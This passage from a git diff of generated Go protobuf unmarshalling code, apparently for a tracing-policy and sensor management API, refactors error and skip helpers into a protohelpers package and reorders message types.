protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Yaml = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protohelpers.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *AddTracingPolicyResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: AddTracingPolicyResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: AddTracingPolicyResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + default: + iNdEx = preIndex + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protohelpers.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *DeleteTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: DeleteTracingPolicyRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: DeleteTracingPolicyRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Namespace", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Namespace = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protohelpers.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy } } @@ -2962,7 +3924,7 @@ func (m *AddTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { } return nil } -func (m *AddTracingPolicyResponse) UnmarshalVT(dAtA []byte) error { +func (m *DeleteTracingPolicyResponse) UnmarshalVT(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { @@ -2970,7 +3932,7 @@ func (m *AddTracingPolicyResponse) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2985,20 +3947,20 @@ func (m *AddTracingPolicyResponse) UnmarshalVT(dAtA []byte) error { fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { - return fmt.Errorf("proto: AddTracingPolicyResponse: wiretype end group for non-group") + return fmt.Errorf("proto: DeleteTracingPolicyResponse: wiretype end group for non-group") } if fieldNum <= 0 { - return fmt.Errorf("proto: AddTracingPolicyResponse: illegal tag %d (wire type %d)", fieldNum, wire) + return fmt.Errorf("proto: DeleteTracingPolicyResponse: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -3013,7 +3975,7 @@ func (m *AddTracingPolicyResponse) UnmarshalVT(dAtA []byte) error { } return nil } -func (m *DeleteTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { +func (m *EnableTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { @@ -3021,7 +3983,7 @@ func (m *DeleteTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3036,10 +3998,10 @@ func (m *DeleteTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { - return fmt.Errorf("proto: DeleteTracingPolicyRequest: wiretype end group for non-group") + return fmt.Errorf("proto: EnableTracingPolicyRequest: wiretype end group for non-group") } if fieldNum <= 0 { - return fmt.Errorf("proto: DeleteTracingPolicyRequest: illegal tag %d (wire type %d)", fieldNum, wire) + return fmt.Errorf("proto: EnableTracingPolicyRequest: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { case 1: @@ -3049,7 +4011,7 @@ func (m *DeleteTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3063,11 +4025,11 @@ func (m *DeleteTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -3081,7 +4043,7 @@ func (m *DeleteTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3095,11 +4057,11 @@ func (m *DeleteTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -3108,12 +4070,12 @@ func (m *DeleteTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -3128,7 +4090,7 @@ func (m *DeleteTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { } return nil } -func (m *DeleteTracingPolicyResponse) UnmarshalVT(dAtA []byte) error { +func (m *EnableTracingPolicyResponse) UnmarshalVT(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { @@ -3136,7 +4098,7 @@ func (m *DeleteTracingPolicyResponse) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3151,20 +4113,20 @@ func (m *DeleteTracingPolicyResponse) UnmarshalVT(dAtA []byte) error { fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { - return fmt.Errorf("proto: DeleteTracingPolicyResponse: wiretype end group for non-group") + return fmt.Errorf("proto: EnableTracingPolicyResponse: wiretype end group for non-group") } if fieldNum <= 0 { - return fmt.Errorf("proto: DeleteTracingPolicyResponse: illegal tag %d (wire type %d)", fieldNum, wire) + return fmt.Errorf("proto: EnableTracingPolicyResponse: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -3179,7 +4141,7 @@ func (m *DeleteTracingPolicyResponse) UnmarshalVT(dAtA []byte) error { } return nil } -func (m *EnableTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { +func (m *DisableTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { @@ -3187,7 +4149,7 @@ func (m *EnableTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3202,10 +4164,10 @@ func (m *EnableTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { - return fmt.Errorf("proto: EnableTracingPolicyRequest: wiretype end group for non-group") + return fmt.Errorf("proto: DisableTracingPolicyRequest: wiretype end group for non-group") } if fieldNum <= 0 { - return fmt.Errorf("proto: EnableTracingPolicyRequest: illegal tag %d (wire type %d)", fieldNum, wire) + return fmt.Errorf("proto: DisableTracingPolicyRequest: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { case 1: @@ -3215,7 +4177,7 @@ func (m *EnableTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3229,11 +4191,11 @@ func (m *EnableTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -3247,7 +4209,7 @@ func (m *EnableTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3261,11 +4223,11 @@ func (m *EnableTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -3274,12 +4236,12 @@ func (m *EnableTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -3294,7 +4256,7 @@ func (m *EnableTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { } return nil } -func (m *EnableTracingPolicyResponse) UnmarshalVT(dAtA []byte) error { +func (m *DisableTracingPolicyResponse) UnmarshalVT(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { @@ -3302,7 +4264,7 @@ func (m *EnableTracingPolicyResponse) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3317,20 +4279,20 @@ func (m *EnableTracingPolicyResponse) UnmarshalVT(dAtA []byte) error { fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { - return fmt.Errorf("proto: EnableTracingPolicyResponse: wiretype end group for non-group") + return fmt.Errorf("proto: DisableTracingPolicyResponse: wiretype end group for non-group") } if fieldNum <= 0 { - return fmt.Errorf("proto: EnableTracingPolicyResponse: illegal tag %d (wire type %d)", fieldNum, wire) + return fmt.Errorf("proto: DisableTracingPolicyResponse: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -3345,7 +4307,7 @@ func (m *EnableTracingPolicyResponse) UnmarshalVT(dAtA []byte) error { } return nil } -func (m *DisableTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { +func (m *ConfigureTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { @@ -3353,7 +4315,7 @@ func (m *DisableTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3368,10 +4330,10 @@ func (m *DisableTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { - return fmt.Errorf("proto: DisableTracingPolicyRequest: wiretype end group for non-group") + return fmt.Errorf("proto: ConfigureTracingPolicyRequest: wiretype end group for non-group") } if fieldNum <= 0 { - return fmt.Errorf("proto: DisableTracingPolicyRequest: illegal tag %d (wire type %d)", fieldNum, wire) + return fmt.Errorf("proto: ConfigureTracingPolicyRequest: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { case 1: @@ -3381,7 +4343,7 @@ func (m *DisableTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3395,11 +4357,11 @@ func (m *DisableTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -3413,7 +4375,182 @@ func (m *DisableTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Namespace = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Enable", wireType) + } + var v int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + v |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + b := bool(v != 0) + m.Enable = &b + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Mode", wireType) + } + var v TracingPolicyMode + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + v |= TracingPolicyMode(b&0x7F) << shift + if b < 0x80 { + break + } + } + m.Mode = &v + default: + iNdEx = preIndex + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protohelpers.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ConfigureTracingPolicyResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ConfigureTracingPolicyResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ConfigureTracingPolicyResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + default: + iNdEx = preIndex + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protohelpers.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *RemoveSensorRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: RemoveSensorRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: RemoveSensorRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3427,25 +4564,25 @@ func (m *DisableTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF } - m.Namespace = string(dAtA[iNdEx:postIndex]) + m.Name = string(dAtA[iNdEx:postIndex]) iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -3460,7 +4597,7 @@ func (m *DisableTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { } return nil } -func (m *DisableTracingPolicyResponse) UnmarshalVT(dAtA []byte) error { +func (m *RemoveSensorResponse) UnmarshalVT(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { @@ -3468,7 +4605,7 @@ func (m *DisableTracingPolicyResponse) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3483,20 +4620,20 @@ func (m *DisableTracingPolicyResponse) UnmarshalVT(dAtA []byte) error { fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { - return fmt.Errorf("proto: DisableTracingPolicyResponse: wiretype end group for non-group") + return fmt.Errorf("proto: RemoveSensorResponse: wiretype end group for non-group") } if fieldNum <= 0 { - return fmt.Errorf("proto: DisableTracingPolicyResponse: illegal tag %d (wire type %d)", fieldNum, wire) + return fmt.Errorf("proto: RemoveSensorResponse: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -3511,7 +4648,7 @@ func (m *DisableTracingPolicyResponse) UnmarshalVT(dAtA []byte) error { } return nil } -func (m *ConfigureTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { +func (m *EnableSensorRequest) UnmarshalVT(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { @@ -3519,7 +4656,7 @@ func (m *ConfigureTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3534,10 +4671,10 @@ func (m *ConfigureTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { - return fmt.Errorf("proto: ConfigureTracingPolicyRequest: wiretype end group for non-group") + return fmt.Errorf("proto: EnableSensorRequest: wiretype end group for non-group") } if fieldNum <= 0 { - return fmt.Errorf("proto: ConfigureTracingPolicyRequest: illegal tag %d (wire type %d)", fieldNum, wire) + return fmt.Errorf("proto: EnableSensorRequest: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { case 1: @@ -3547,7 +4684,7 @@ func (m *ConfigureTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3561,98 +4698,25 @@ func (m *ConfigureTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF } m.Name = string(dAtA[iNdEx:postIndex]) iNdEx = postIndex - case 2: - if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Namespace", wireType) - } - var stringLen uint64 - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return ErrIntOverflow - } - if iNdEx >= l { - return io.ErrUnexpectedEOF - } - b := dAtA[iNdEx] - iNdEx++ - stringLen |= uint64(b&0x7F) << shift - if b < 0x80 { - break - } - } - intStringLen := int(stringLen) - if intStringLen < 0 { - return ErrInvalidLength - } - postIndex := iNdEx + intStringLen - if postIndex < 0 { - return ErrInvalidLength - } - if postIndex > l { - return io.ErrUnexpectedEOF - } - m.Namespace = string(dAtA[iNdEx:postIndex]) - iNdEx = postIndex - case 3: - if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field Enable", wireType) - } - var v int - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return ErrIntOverflow - } - if iNdEx >= l { - return io.ErrUnexpectedEOF - } - b := dAtA[iNdEx] - iNdEx++ - v |= int(b&0x7F) << shift - if b < 0x80 { - break - } - } - b := bool(v != 0) - m.Enable = &b - case 4: - if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field Mode", wireType) - } - var v TracingPolicyMode - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return ErrIntOverflow - } - if iNdEx >= l { - return io.ErrUnexpectedEOF - } - b := dAtA[iNdEx] - iNdEx++ - v |= TracingPolicyMode(b&0x7F) << shift - if b < 0x80 { - break - } - } - m.Mode = &v default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -3667,7 +4731,7 @@ func (m *ConfigureTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { } return nil } -func (m *ConfigureTracingPolicyResponse) UnmarshalVT(dAtA []byte) error { +func (m *EnableSensorResponse) UnmarshalVT(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { @@ -3675,7 +4739,7 @@ func (m *ConfigureTracingPolicyResponse) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3690,20 +4754,20 @@ func (m *ConfigureTracingPolicyResponse) UnmarshalVT(dAtA []byte) error { fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { - return fmt.Errorf("proto: ConfigureTracingPolicyResponse: wiretype end group for non-group") + return fmt.Errorf("proto: EnableSensorResponse: wiretype end group for non-group") } if fieldNum <= 0 { - return fmt.Errorf("proto: ConfigureTracingPolicyResponse: illegal tag %d (wire type %d)", fieldNum, wire) + return fmt.Errorf("proto: EnableSensorResponse: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -3718,7 +4782,7 @@ func (m *ConfigureTracingPolicyResponse) UnmarshalVT(dAtA []byte) error { } return nil } -func (m *RemoveSensorRequest) UnmarshalVT(dAtA []byte) error { +func (m *DisableSensorRequest) UnmarshalVT(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { @@ -3726,7 +4790,7 @@ func (m *RemoveSensorRequest) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3741,10 +4805,10 @@ func (m *RemoveSensorRequest) UnmarshalVT(dAtA []byte) error { fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { - return fmt.Errorf("proto: RemoveSensorRequest: wiretype end group for non-group") + return fmt.Errorf("proto: DisableSensorRequest: wiretype end group for non-group") } if fieldNum <= 0 { - return fmt.Errorf("proto: RemoveSensorRequest: illegal tag %d (wire type %d)", fieldNum, wire) + return fmt.Errorf("proto: DisableSensorRequest: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { case 1: @@ -3754,7 +4818,7 